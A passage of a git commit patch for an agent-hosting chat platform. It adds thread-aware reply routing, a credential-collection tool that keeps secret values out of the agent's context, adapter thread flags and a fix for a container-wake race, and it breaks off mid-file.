routing written by the host on every container wake from `session.messaging_group_id` + `session.thread_id`. Forward-compat `CREATE TABLE IF NOT EXISTS` handles older session DBs lazily. * `container/agent-runner/src/db/session-routing.ts` — container-side reader. * `send_message` / `send_file` / `ask_user_question` / `send_card` / scheduling tools all default their routing (channel, platform, **and** thread) from the session when no explicit `to` is given. Explicit `to` uses the destination's channel with `thread_id = null` (cross-destination sends start a new conversation elsewhere). * `poll-loop.ts::sendToDestination` (the final-text single-destination shortcut) now inherits `thread_id` from `RoutingContext` too — this was the root cause of Discord replies landing in the root channel even after `send_message` was wired correctly. ## Related cleanups * `src/container-runner.ts`: OneCLI agent identifier switched from the lossy folder-derived string to `agent_group.id`, making `getAgentGroup(externalId)` a trivial reverse lookup for per-agent scoping. * `wakeContainer` race fix via an in-flight promise map — concurrent wakes during the async buildContainerArgs / OneCLI `applyContainerConfig` window no longer double-spawn containers against the same session directory. * `src/db/db-v2.test.ts`: dropped the brittle `expect(row.v).toBe(N)` schema version assertion — it had to be bumped on every migration addition. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/db/index.ts | 10 +- container/agent-runner/src/db/messages-in.ts | 17 + .../agent-runner/src/db/session-routing.ts | 30 ++ container/agent-runner/src/mcp-tools/core.ts | 47 ++- .../agent-runner/src/mcp-tools/credentials.ts | 132 ++++++++ container/agent-runner/src/mcp-tools/index.ts | 2 + .../agent-runner/src/mcp-tools/interactive.ts | 7 +- .../agent-runner/src/mcp-tools/scheduling.ts | 7 +- container/agent-runner/src/poll-loop.ts | 5 +- package-lock.json | 9 +- package.json | 2 +- src/channels/adapter.ts | 18 + src/channels/channel-registry.test.ts | 1 + src/channels/chat-sdk-bridge.ts | 111 ++++++- src/channels/discord.ts | 1 + src/channels/gchat.ts | 2 +- src/channels/github.ts | 2 +- src/channels/imessage.ts | 2 +- src/channels/linear.ts | 2 +- src/channels/matrix.ts | 2 +- src/channels/resend.ts | 2 +- src/channels/slack.ts | 2 +- src/channels/teams.ts | 2 +- src/channels/telegram.ts | 7 +- src/channels/webex.ts | 2 +- src/channels/whatsapp-cloud.ts | 2 +- src/container-runner.ts | 41 ++- src/credentials.ts | 312 ++++++++++++++++++ src/db/credentials.ts | 33 ++ src/db/db-v2.test.ts | 6 - src/db/index.ts | 12 + src/db/migrations/003-pending-approvals.ts | 33 +- src/db/migrations/005-pending-credentials.ts | 34 ++ src/db/migrations/index.ts | 3 +- src/db/schema.ts | 12 + src/db/sessions.ts | 29 +- src/delivery.ts | 6 + src/index.ts | 65 +++- src/onecli-approvals.ts | 252 ++++++++++++++ src/onecli-secrets.ts | 84 +++++ src/router.ts | 24 +- src/session-manager.ts | 59 ++++ src/types.ts | 30 +- 43 files changed, 1391 insertions(+), 70 deletions(-) create mode 100644 container/agent-runner/src/db/session-routing.ts create mode 100644 container/agent-runner/src/mcp-tools/credentials.ts create mode 100644 src/credentials.ts create mode 100644 src/db/credentials.ts create mode 100644 src/db/migrations/005-pending-credentials.ts create mode 100644 src/onecli-approvals.ts create mode 100644 src/onecli-secrets.ts diff --git a/container/agent-runner/src/db/index.ts b/container/agent-runner/src/db/index.ts index cbd0e7e..f7ebc06 100644 --- a/container/agent-runner/src/db/index.ts +++ b/container/agent-runner/src/db/index.ts @@ -7,7 +7,15 @@ export { touchHeartbeat, clearStaleProcessingAcks, } from './connection.js'; -export { getPendingMessages, markProcessing, markCompleted, markFailed, getMessageIn, findQuestionResponse } from './messages-in.js'; +export { + getPendingMessages, + markProcessing, + markCompleted, + markFailed, + getMessageIn, + findQuestionResponse, + findCredentialResponse, +} from './messages-in.js'; export type { MessageInRow } from './messages-in.js'; export { writeMessageOut, getUndeliveredMessages } from './messages-out.js'; export type { MessageOutRow, WriteMessageOut } from './messages-out.js'; diff --git a/container/agent-runner/src/db/messages-in.ts b/container/agent-runner/src/db/messages-in.ts index fe2a222..b3e713d 100644 --- a/container/agent-runner/src/db/messages-in.ts +++ b/container/agent-runner/src/db/messages-in.ts @@ -112,3 +112,20 @@ export function findQuestionResponse(questionId: string): MessageInRow | undefin return response; } + +/** Find a pending credential_response system message for a given credential id. */ +export function findCredentialResponse(credentialId: string): MessageInRow | undefined { + const inbound = getInboundDb(); + const outbound = getOutboundDb(); + + const response = inbound + .prepare("SELECT * FROM messages_in WHERE status = 'pending' AND kind = 'system' AND content LIKE ?") + .get(`%"credentialId":"${credentialId}"%`) as MessageInRow | undefined; + + if (!response) return undefined; + + const acked = outbound.prepare('SELECT 1 FROM processing_ack WHERE message_id = ?').get(response.id); + if (acked) return undefined; + + return response; +} diff --git a/container/agent-runner/src/db/session-routing.ts b/container/agent-runner/src/db/session-routing.ts new file mode 100644 index 0000000..94abca6 --- /dev/null +++ b/container/agent-runner/src/db/session-routing.ts @@ -0,0 +1,30 @@ +/** + * Default reply routing for this session — written by the host on every + * container wake (see src/session-manager.ts `writeSessionRouting`). + * + * Read by the MCP tools as the default destination for outbound messages + * when the agent doesn't specify an explicit `to`. This is what makes + * "agent replies in the thread it's currently in" work: the router strips + * or preserves thread_id based on the adapter's thread support, and we + * just read the fixed routing the host committed for this session. + */ +import { getInboundDb } from './connection.js'; + +export interface SessionRouting { + channel_type: string | null; + platform_id: string | null; + thread_id: string | null; +} + +export function getSessionRouting(): SessionRouting { + const db = getInboundDb(); + try { + const row = db + .prepare('SELECT channel_type, platform_id, thread_id FROM session_routing WHERE id = 1') + .get() as SessionRouting | undefined; + if (row) return row; + } catch { + // Table may not exist on an older session DB — fall through to defaults + } + return { channel_type: null, platform_id: null, thread_id: null }; +} diff --git a/container/agent-runner/src/mcp-tools/core.ts b/container/agent-runner/src/mcp-tools/core.ts index 0180b72..cef0d6c 100644 --- a/container/agent-runner/src/mcp-tools/core.ts +++ b/container/agent-runner/src/mcp-tools/core.ts @@ -11,6 +11,7 @@ import path from 'path'; import { findByName, getAllDestinations } from '../destinations.js'; import { getMessageIdBySeq, getRoutingBySeq, writeMessageOut } from '../db/messages-out.js'; +import { getSessionRouting } from '../db/session-routing.js'; import type { McpToolDefinition } from './types.js'; function log(msg: string): void { @@ -37,14 +38,31 @@ function destinationList(): string { /** * Resolve a destination name to routing fields. - * If `to` is omitted and the agent has exactly one destination, that one is used. - * With multiple destinations, omitting `to` is an error. + * + * If `to` is omitted, use the session's default reply routing (channel + + * thread the conversation is in) — the agent replies in place. + * + * If `to` is specified, look up the named destination; thread_id is null + * because a cross-destination send starts a new conversation elsewhere. */ function resolveRouting( to: string | undefined, -): { channel_type: string; platform_id: string; resolvedName: string } | { error: string } { - let name = to; - if (!name) { +): + | { channel_type: string; platform_id: string; thread_id: string | null; resolvedName: string } + | { error: string } { + if (!to) { + // Default: reply to whatever thread/channel this session is bound to. + const session = getSessionRouting(); + if (session.channel_type && session.platform_id) { + return { + channel_type: session.channel_type, + platform_id: session.platform_id, + thread_id: session.thread_id, + resolvedName: '(current conversation)', + }; + } + // No session routing (e.g., agent-shared or internal-only agent) — + // fall back to the legacy single-destination shortcut. const all = getAllDestinations(); if (all.length === 0) return { error: 'No destinations configured.' }; if (all.length > 1) { @@ -52,14 +70,19 @@ function resolveRouting( error: `You have multiple destinations — specify "to". Options: ${all.map((d) => d.name).join(', ')}`, }; } - name = all[0].name; + to = all[0].name; } - const dest = findByName(name); - if (!dest) return { error: `Unknown destination "${name}". Known: ${destinationList()}` }; + const dest = findByName(to); + if (!dest) return { error: `Unknown destination "${to}". Known: ${destinationList()}` }; if (dest.type === 'channel') { - return { channel_type: dest.channelType!, platform_id: dest.platformId!, resolvedName: name }; + return { + channel_type: dest.channelType!, + platform_id: dest.platformId!, + thread_id: null, + resolvedName: to, + }; } - return { channel_type: 'agent', platform_id: dest.agentGroupId!, resolvedName: name }; + return { channel_type: 'agent', platform_id: dest.agentGroupId!, thread_id: null, resolvedName: to }; } export const sendMessage: McpToolDefinition = { @@ -89,7 +112,7 @@ export const sendMessage: McpToolDefinition = { kind: 'chat', platform_id: routing.platform_id, channel_type: routing.channel_type, - thread_id: null, + thread_id: routing.thread_id, content: JSON.stringify({ text }), }); @@ -135,7 +158,7 @@ export const sendFile: McpToolDefinition = { kind: 'chat', platform_id: routing.platform_id, channel_type: routing.channel_type, - thread_id: null, + thread_id: routing.thread_id, content: JSON.stringify({ text: (args.text as string) || '', files: [filename] }), }); diff --git a/container/agent-runner/src/mcp-tools/credentials.ts b/container/agent-runner/src/mcp-tools/credentials.ts new file mode 100644 index 0000000..6a68f01 --- /dev/null +++ b/container/agent-runner/src/mcp-tools/credentials.ts @@ -0,0 +1,132 @@ +/** + * Credential collection MCP tool. + * + * trigger_credential_collection sends a card to the user and blocks until the + * host reports back whether the credential was saved, rejected, or failed. + * The credential value NEVER enters agent context — the user submits it into + * a modal whose value is consumed entirely on the host side, and the host + * only writes back a status string. + */ +import { findCredentialResponse, markCompleted } from '../db/messages-in.js'; +import { writeMessageOut } from '../db/messages-out.js'; +import type { McpToolDefinition } from './types.js'; + +function log(msg: string): void { + console.error(`[mcp-tools] ${msg}`); +} + +function generateId(): string { + return `cred-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +function ok(text: string) { + return { content: [{ type: 'text' as const, text }] }; +} + +function err(text: string) { + return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; +} + +function sleep(ms: number): Promise { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + +export const triggerCredentialCollection: McpToolDefinition = { + tool: { + name: 'trigger_credential_collection', + description: + 'Collect a credential (API key, token, etc.) from the user for a third-party service. Research the service first so you can pass the correct host pattern, header name, and value format. A card is sent to the user with a button that opens a secure input modal — the value is inserted directly into OneCLI and never enters your context. Blocks until the user saves, rejects, or the request fails.', + inputSchema: { + type: 'object' as const, + properties: { + name: { + type: 'string', + description: 'Display name for the secret (e.g. "Resend API Key").', + }, + type: { + type: 'string', + enum: ['generic', 'anthropic'], + description: "Secret type. Use 'generic' for most third-party APIs; 'anthropic' is reserved for Anthropic API keys.", + }, + hostPattern: { + type: 'string', + description: 'Host pattern to match (e.g. "api.resend.com"). Used by OneCLI to know when to inject this credential.', + }, + pathPattern: { + type: 'string', + description: 'Optional path pattern to match (e.g. "/v1/*").', + }, + headerName: { + type: 'string', + description: 'Header name to inject the credential into (e.g. "Authorization"). Required for generic type.', + }, + valueFormat: { + type: 'string', + description: 'Value format template. Use {value} as the placeholder. Example: "Bearer {value}". Defaults to "{value}".', + }, + description: { + type: 'string', + description: 'User-facing explanation shown on the card and in the input modal.', + }, + timeout: { + type: 'number', + description: 'Timeout in seconds (default: 600).', + }, + }, + required: ['name', 'hostPattern'], + }, + }, + async handler(args) { + const name = args.name as string; + const type = ((args.type as string) || 'generic') as 'generic' | 'anthropic'; + const hostPattern = args.hostPattern as string; + const pathPattern = (args.pathPattern as string) || ''; + const headerName = (args.headerName as string) || ''; + const valueFormat = (args.valueFormat as string) || ''; + const description = (args.description as string) || ''; + const timeoutMs = ((args.timeout as number) || 600) * 1000; + + if (!name || !hostPattern) return err('name and hostPattern are required'); + + const credentialId = generateId(); + writeMessageOut({ + id: credentialId, + kind: 'system', + content: JSON.stringify({ + action: 'request_credential', + credentialId, + name, + type, + hostPattern, + pathPattern, + headerName, + valueFormat, + description, + }), + }); + + log(`trigger_credential_collection: ${credentialId} → ${name} (${hostPattern})`); + + const deadline = Date.now() + timeoutMs; + while (Date.now() < deadline) { + const response = findCredentialResponse(credentialId); + if (response) { + const parsed = JSON.parse(response.content) as { + status: 'saved' | 'rejected' | 'failed'; + detail?: string; + }; + markCompleted([response.id]); + log(`trigger_credential_collection result: ${credentialId} → ${parsed.status}`); + if (parsed.status === 'saved') return ok(parsed.detail || 'Credential saved.'); + if (parsed.status === 'rejected') return err(parsed.detail || 'Credential request rejected.'); + return err(parsed.detail || 'Credential request failed.'); + } + await sleep(1000); + } + + log(`trigger_credential_collection timeout: ${credentialId}`); + return err(`Credential request timed out after ${timeoutMs / 1000}s`); + }, +}; + +export const credentialTools: McpToolDefinition[] = [triggerCredentialCollection]; diff --git a/container/agent-runner/src/mcp-tools/index.ts b/container/agent-runner/src/mcp-tools/index.ts index b1e7bbd..fb427b5 100644 --- a/container/agent-runner/src/mcp-tools/index.ts +++ b/container/agent-runner/src/mcp-tools/index.ts @@ -15,6 +15,7 @@ import { schedulingTools } from './scheduling.js'; import { interactiveTools } from './interactive.js'; import { agentTools } from './agents.js'; import { selfModTools } from './self-mod.js'; +import { credentialTools } from './credentials.js'; function log(msg: string): void { console.error(`[mcp-tools] ${msg}`); @@ -32,6 +33,7 @@ const allTools: McpToolDefinition[] = [ ...interactiveTools, ...conditionalAgentTools, ...selfModTools, + ...credentialTools, ]; const toolMap = new Map(); diff --git a/container/agent-runner/src/mcp-tools/interactive.ts b/container/agent-runner/src/mcp-tools/interactive.ts index f726876..330c50c 100644 --- a/container/agent-runner/src/mcp-tools/interactive.ts +++ b/container/agent-runner/src/mcp-tools/interactive.ts @@ -6,6 +6,7 @@ */ import { findQuestionResponse, markCompleted } from '../db/messages-in.js'; import { writeMessageOut } from '../db/messages-out.js'; +import { getSessionRouting } from '../db/session-routing.js'; import type { McpToolDefinition } from './types.js'; function log(msg: string): void { @@ -17,11 +18,7 @@ function generateId(): string { } function routing() { - return { - platform_id: process.env.NANOCLAW_PLATFORM_ID || null, - channel_type: process.env.NANOCLAW_CHANNEL_TYPE || null, - thread_id: process.env.NANOCLAW_THREAD_ID || null, - }; + return getSessionRouting(); } function ok(text: string) { diff --git a/container/agent-runner/src/mcp-tools/scheduling.ts b/container/agent-runner/src/mcp-tools/scheduling.ts index be3b576..6d32e88 100644 --- a/container/agent-runner/src/mcp-tools/scheduling.ts +++ b/container/agent-runner/src/mcp-tools/scheduling.ts @@ -7,6 +7,7 @@ */ import { getInboundDb } from '../db/connection.js'; import { writeMessageOut } from '../db/messages-out.js'; +import { getSessionRouting } from '../db/session-routing.js'; import type { McpToolDefinition } from './types.js'; function log(msg: string): void { @@ -18,11 +19,7 @@ function generateId(): string { } function routing() { - return { - platform_id: process.env.NANOCLAW_PLATFORM_ID || null, - channel_type: process.env.NANOCLAW_CHANNEL_TYPE || null, - thread_id: process.env.NANOCLAW_THREAD_ID || null, - }; + return getSessionRouting(); } function ok(text: string) { diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index 52b3839..208c89a 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -387,13 +387,16 @@ function dispatchResultText(text: string, routing: RoutingContext): void { function sendToDestination(dest: DestinationEntry, body: string, routing: RoutingContext): void { const platformId = dest.type === 'channel' ? dest.platformId! : dest.agentGroupId!; const channelType = dest.type === 'channel' ? dest.channelType! : 'agent'; + // Inherit thread_id from the inbound routing context so replies land in the + // same thread the conversation is in. For non-threaded adapters the router + // strips thread_id at ingest, so this will already be null. writeMessageOut({ id: generateId(), in_reply_to: routing.inReplyTo, kind: 'chat', platform_id: platformId, channel_type: channelType, - thread_id: null, + thread_id: routing.threadId, content: JSON.stringify({ text: body }), }); } diff --git a/package-lock.json b/package-lock.json index 6a1e28c..bd9276d 100644 --- a/package-lock.json +++ b/package-lock.json @@ -19,7 +19,7 @@ "@chat-adapter/teams": "^4.24.0", "@chat-adapter/telegram": "^4.24.0", "@chat-adapter/whatsapp": "^4.24.0", - "@onecli-sh/sdk": "^0.2.0", + "@onecli-sh/sdk": "^0.3.1", "@resend/chat-sdk-adapter": "^0.1.1", "better-sqlite3": "11.10.0", "chat": "^4.24.0", @@ -1881,9 +1881,10 @@ } }, "node_modules/@onecli-sh/sdk": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/@onecli-sh/sdk/-/sdk-0.2.0.tgz", - "integrity": "sha512-u7PqWROEvTV9f0ADVkjigTrd2AZn3klbPrv7GGpeRHIJpjAxJUdlWqxr5kiGt6qTDKL8t3nq76xr4X2pxTiyBg==", + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/@onecli-sh/sdk/-/sdk-0.3.1.tgz", + "integrity": "sha512-oMSa4DUCVS52vec41nFOg3XdCBTbMVEZdCFCsaUd9sRXVorCPWd3VyZq4giXsmk4g09DA/zLjsnrY7l6G94Ulg==", + "license": "MIT", "engines": { "node": ">=20" } diff --git a/package.json b/package.json index 1997774..c63213c 100644 --- a/package.json +++ b/package.json @@ -32,7 +32,7 @@ "@chat-adapter/teams": "^4.24.0", "@chat-adapter/telegram": "^4.24.0", "@chat-adapter/whatsapp": "^4.24.0", - "@onecli-sh/sdk": "^0.2.0", + "@onecli-sh/sdk": "^0.3.1", "@resend/chat-sdk-adapter": "^0.1.1", "better-sqlite3": "11.10.0", "chat": "^4.24.0", diff --git a/src/channels/adapter.ts b/src/channels/adapter.ts index d02f62c..00e942d 100644 --- a/src/channels/adapter.ts +++ b/src/channels/adapter.ts @@ -27,6 +27,12 @@ export interface ChannelSetup { /** Called when a user clicks a button/action in a card (e.g., ask_user_question response). */ onAction(questionId: string, selectedOption: string, userId: string): void; + + /** Credential collection hooks — used by chat-sdk-bridge to route the modal flow. */ + getCredentialForModal?(credentialId: string): { name: string; description: string | null; hostPattern: string } | null; + onCredentialReject?(credentialId: string): void; + onCredentialSubmit?(credentialId: string, value: string): void; + onCredentialChannelUnsupported?(credentialId: string): void; } /** Inbound message from adapter to host. */ @@ -62,6 +68,18 @@ export interface ChannelAdapter { name: string; channelType: string; + /** + * Whether this adapter models conversations as threads. + * + * true — adapter's platform uses threads as the primary conversation unit + * (Discord, Slack, Linear, GitHub). One thread = one session; the + * agent replies into the originating thread. + * false — adapter's platform treats the channel itself as the conversation + * (Telegram, WhatsApp, iMessage). Thread ids are stripped at the + * router; agent replies go to the channel. + */ + supportsThreads: boolean; + // Lifecycle setup(config: ChannelSetup): Promise; teardown(): Promise; diff --git a/src/channels/channel-registry.test.ts b/src/channels/channel-registry.test.ts index fafb565..b773162 100644 --- a/src/channels/channel-registry.test.ts +++ b/src/channels/channel-registry.test.ts @@ -39,6 +39,7 @@ function createMockAdapter( return { name: channelType, channelType, + supportsThreads: false, delivered, inbound, diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index 9f8f9d2..ab49adf 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -12,6 +12,8 @@ import { CardText, Actions, Button, + Modal, + TextInput, type Adapter, type ConcurrencyStrategy, type Message as ChatMessage, @@ -47,6 +49,13 @@ export interface ChatSdkBridgeConfig { botToken?: string; /** Platform-specific reply context extraction. */ extractReplyContext?: ReplyContextExtractor; + /** + * Whether this platform uses threads as the primary conversation unit. + * See `ChannelAdapter.supportsThreads`. Declared by the calling channel + * skill, not inferred, because some platforms (Discord) can be used either + * way and the default depends on installation style. + */ + supportsThreads: boolean; } export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter { @@ -116,6 +125,7 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter return { name: adapter.name, channelType: adapter.name, + supportsThreads: config.supportsThreads, async setup(hostConfig: ChannelSetup) { setupConfig = hostConfig; @@ -151,8 +161,75 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter await thread.subscribe(); }); - // Handle button clicks (ask_user_question responses) + // Handle button clicks (ask_user_question, credential card) chat.onAction(async (event) => { + // Credential card actions: nccr:: + if (event.actionId.startsWith('nccr:')) { + const [, credentialId, subAction] = event.actionId.split(':'); + if (!credentialId || !subAction) return; + + if (subAction === 'reject') { + try { + await adapter.editMessage(event.threadId, event.messageId, { + markdown: `🔑 Credential request\n\n❌ Rejected`, + }); + } catch (err) { + log.warn('Failed to update credential card after reject', { err }); + } + setupConfig.onCredentialReject?.(credentialId); + return; + } + + if (subAction === 'enter') { + const pending = setupConfig.getCredentialForModal?.(credentialId); + if (!pending) { + log.warn('Credential card clicked but row not pending', { credentialId }); + return; + } + try { + const modalChildren = [ + CardText( + pending.description ?? + `Enter the value for ${pending.name} (host: ${pending.hostPattern}).`, + ), + TextInput({ + id: 'value', + label: pending.name, + placeholder: 'Paste your credential value', + }), + ]; + // Modal children include a text element for context; the SDK + // accepts TextElement in ModalChild so this is valid. + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const modal = Modal({ + callbackId: `nccm:${credentialId}`, + title: 'Enter credential', + submitLabel: 'Save', + // eslint-disable-next-line @typescript-eslint/no-explicit-any + children: modalChildren as any, + }); + const result = await event.openModal(modal); + if (!result) { + log.warn('openModal returned undefined — channel unsupported', { credentialId }); + setupConfig.onCredentialChannelUnsupported?.(credentialId); + try { + await adapter.editMessage(event.threadId, event.messageId, { + markdown: `🔑 Credential request\n\n⚠️ This channel does not support modals.`, + }); + } catch { + // best effort + } + } + } catch (err) { + log.error('Failed to open credential modal', { credentialId, err }); + setupConfig.onCredentialChannelUnsupported?.(credentialId); + } + return; + } + + return; + } + if (!event.actionId.startsWith('ncq:')) return; const parts = event.actionId.split(':'); if (parts.length < 3) return; @@ -173,6 +250,18 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter setupConfig.onAction(questionId, selectedOption, userId); }); + // Modal submissions for credential collection + chat.onModalSubmit(async (event) => { + if (!event.callbackId.startsWith('nccm:')) return; + const credentialId = event.callbackId.slice('nccm:'.length); + const value = event.values?.value ?? ''; + if (!value) { + log.warn('Credential modal submitted with empty value', { credentialId }); + return; + } + setupConfig.onCredentialSubmit?.(credentialId, value); + }); + await chat.initialize(); // Start Gateway listener for adapters that support it (e.g., Discord) @@ -259,6 +348,26 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter return result?.id; } + // Credential request card — buttons open a modal for secure input + if (content.type === 'credential_request' && content.credentialId) { + const credentialId = content.credentialId as string; + const card = Card({ + title: '🔑 Credential request', + children: [ + CardText(content.question as string), + Actions([ + Button({ id: `nccr:${credentialId}:enter`, label: 'Enter credential', value: 'enter' }), + Button({ id: `nccr:${credentialId}:reject`, label: 'Reject', value: 'reject' }), + ]), + ], + }); + const result = await adapter.postMessage(tid, { + card, + fallbackText: `Credential request — open in a channel that supports modals.`, + }); + return result?.id; + } + // Normal message const text = (content.markdown as string) || (content.text as string); if (text) { diff --git a/src/channels/discord.ts b/src/channels/discord.ts index d23a1e2..6d87634 100644 --- a/src/channels/discord.ts +++ b/src/channels/discord.ts @@ -32,6 +32,7 @@ registerChannelAdapter('discord', { concurrency: 'concurrent', botToken: env.DISCORD_BOT_TOKEN, extractReplyContext, + supportsThreads: true, }); }, }); diff --git a/src/channels/gchat.ts b/src/channels/gchat.ts index 48376f2..98fc539 100644 --- a/src/channels/gchat.ts +++ b/src/channels/gchat.ts @@ -15,6 +15,6 @@ registerChannelAdapter('gchat', { const gchatAdapter = createGoogleChatAdapter({ credentials: JSON.parse(env.GCHAT_CREDENTIALS), }); - return createChatSdkBridge({ adapter: gchatAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ adapter: gchatAdapter, concurrency: 'concurrent', supportsThreads: true }); }, }); diff --git a/src/channels/github.ts b/src/channels/github.ts index 19b90d2..d1fe42c 100644 --- a/src/channels/github.ts +++ b/src/channels/github.ts @@ -17,6 +17,6 @@ registerChannelAdapter('github', { token: env.GITHUB_TOKEN, webhookSecret: env.GITHUB_WEBHOOK_SECRET, }); - return createChatSdkBridge({ adapter: githubAdapter, concurrency: 'queue' }); + return createChatSdkBridge({ adapter: githubAdapter, concurrency: 'queue', supportsThreads: true }); }, }); diff --git a/src/channels/imessage.ts b/src/channels/imessage.ts index 4bda288..1ffba36 100644 --- a/src/channels/imessage.ts +++ b/src/channels/imessage.ts @@ -24,6 +24,6 @@ registerChannelAdapter('imessage', { const imessageAdapter = Object.assign(rawAdapter, { channelIdFromThreadId: (threadId: string) => threadId, }); - return createChatSdkBridge({ adapter: imessageAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ adapter: imessageAdapter, concurrency: 'concurrent', supportsThreads: false }); }, }); diff --git a/src/channels/linear.ts b/src/channels/linear.ts index 11014f8..6436adf 100644 --- a/src/channels/linear.ts +++ b/src/channels/linear.ts @@ -17,6 +17,6 @@ registerChannelAdapter('linear', { apiKey: env.LINEAR_API_KEY, webhookSecret: env.LINEAR_WEBHOOK_SECRET, }); - return createChatSdkBridge({ adapter: linearAdapter, concurrency: 'queue' }); + return createChatSdkBridge({ adapter: linearAdapter, concurrency: 'queue', supportsThreads: true }); }, }); diff --git a/src/channels/matrix.ts b/src/channels/matrix.ts index a286fda..f84278f 100644 --- a/src/channels/matrix.ts +++ b/src/channels/matrix.ts @@ -18,6 +18,6 @@ registerChannelAdapter('matrix', { if (env.MATRIX_USER_ID) process.env.MATRIX_USER_ID = env.MATRIX_USER_ID; if (env.MATRIX_BOT_USERNAME) process.env.MATRIX_BOT_USERNAME = env.MATRIX_BOT_USERNAME; const matrixAdapter = createMatrixAdapter(); - return createChatSdkBridge({ adapter: matrixAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ adapter: matrixAdapter, concurrency: 'concurrent', supportsThreads: false }); }, }); diff --git a/src/channels/resend.ts b/src/channels/resend.ts index 5dfe5ab..5a4565b 100644 --- a/src/channels/resend.ts +++ b/src/channels/resend.ts @@ -18,6 +18,6 @@ registerChannelAdapter('resend', { fromName: env.RESEND_FROM_NAME, webhookSecret: env.RESEND_WEBHOOK_SECRET, }); - return createChatSdkBridge({ adapter: resendAdapter, concurrency: 'queue' }); + return createChatSdkBridge({ adapter: resendAdapter, concurrency: 'queue', supportsThreads: false }); }, }); diff --git a/src/channels/slack.ts b/src/channels/slack.ts index 1413c05..6ee33db 100644 --- a/src/channels/slack.ts +++ b/src/channels/slack.ts @@ -16,6 +16,6 @@ registerChannelAdapter('slack', { botToken: env.SLACK_BOT_TOKEN, signingSecret: env.SLACK_SIGNING_SECRET, }); - return createChatSdkBridge({ adapter: slackAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ adapter: slackAdapter, concurrency: 'concurrent', supportsThreads: true }); }, }); diff --git a/src/channels/teams.ts b/src/channels/teams.ts index 591c5c7..f184bfe 100644 --- a/src/channels/teams.ts +++ b/src/channels/teams.ts @@ -16,6 +16,6 @@ registerChannelAdapter('teams', { appId: env.TEAMS_APP_ID, appPassword: env.TEAMS_APP_PASSWORD, }); - return createChatSdkBridge({ adapter: teamsAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ adapter: teamsAdapter, concurrency: 'concurrent', supportsThreads: true }); }, }); diff --git a/src/channels/telegram.ts b/src/channels/telegram.ts index 345419f..31bb197 100644 --- a/src/channels/telegram.ts +++ b/src/channels/telegram.ts @@ -26,6 +26,11 @@ registerChannelAdapter('telegram', { botToken: env.TELEGRAM_BOT_TOKEN, mode: 'polling', }); - return createChatSdkBridge({ adapter: telegramAdapter, concurrency: 'concurrent', extractReplyContext }); + return createChatSdkBridge({ + adapter: telegramAdapter, + concurrency: 'concurrent', + extractReplyContext, + supportsThreads: false, + }); }, }); diff --git a/src/channels/webex.ts b/src/channels/webex.ts index 63f1870..37b0e8e 100644 --- a/src/channels/webex.ts +++ b/src/channels/webex.ts @@ -16,6 +16,6 @@ registerChannelAdapter('webex', { botToken: env.WEBEX_BOT_TOKEN, webhookSecret: env.WEBEX_WEBHOOK_SECRET, }); - return createChatSdkBridge({ adapter: webexAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ adapter: webexAdapter, concurrency: 'concurrent', supportsThreads: true }); }, }); diff --git a/src/channels/whatsapp-cloud.ts b/src/channels/whatsapp-cloud.ts index e56eb99..9d3a5b1 100644 --- a/src/channels/whatsapp-cloud.ts +++ b/src/channels/whatsapp-cloud.ts @@ -24,6 +24,6 @@ registerChannelAdapter('whatsapp-cloud', { appSecret: env.WHATSAPP_APP_SECRET, verifyToken: env.WHATSAPP_VERIFY_TOKEN, }); - return createChatSdkBridge({ adapter: whatsappAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ adapter: whatsappAdapter, concurrency: 'concurrent', supportsThreads: false }); }, }); diff --git a/src/container-runner.ts b/src/container-runner.ts index 9881ca2..794f2a3 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -21,6 +21,7 @@ import { markContainerStopped, sessionDir, writeDestinations, + writeSessionRouting, } from './session-manager.js'; import type { AgentGroup, Session } from './types.js'; @@ -35,6 +36,16 @@ interface VolumeMount { /** Active containers tracked by session ID. */ const activeContainers = new Map(); +/** + * In-flight wake promises, keyed by session id. Deduplicates concurrent + * `wakeContainer` calls while the first spawn is still mid-setup (async + * buildContainerArgs, OneCLI gateway apply, etc.) — otherwise a second + * wake in that window passes the `activeContainers.has` check and spawns + * a duplicate container against the same session directory, producing + * racy double-replies. + */ +const wakePromises = new Map>(); + export function getActiveContainerCount(): number { return activeContainers.size; } @@ -44,27 +55,47 @@ export function isContainerRunning(sessionId: string): boolean { } /** - * Wake up a container for a session. If already running, no-op. + * Wake up a container for a session. If already running or mid-spawn, no-op + * (the in-flight wake promise is reused). + * * The container runs the v2 agent-runner which polls the session DB. */ -export async function wakeContainer(session: Session): Promise { +export function wakeContainer(session: Session): Promise { if (activeContainers.has(session.id)) { log.debug('Container already running', { sessionId: session.id }); - return; + return Promise.resolve(); } + const existing = wakePromises.get(session.id); + if (existing) { + log.debug('Container wake already in-flight — joining existing promise', { sessionId: session.id }); + return existing; + } + const promise = spawnContainer(session).finally(() => { + wakePromises.delete(session.id); + }); + wakePromises.set(session.id, promise); + return promise; +} +async function spawnContainer(session: Session): Promise { const agentGroup = getAgentGroup(session.agent_group_id); if (!agentGroup) { log.error('Agent group not found', { agentGroupId: session.agent_group_id }); return; } - // Refresh the destination map so any admin changes take effect on wake + // Refresh the destination map and default reply routing so any admin + // changes 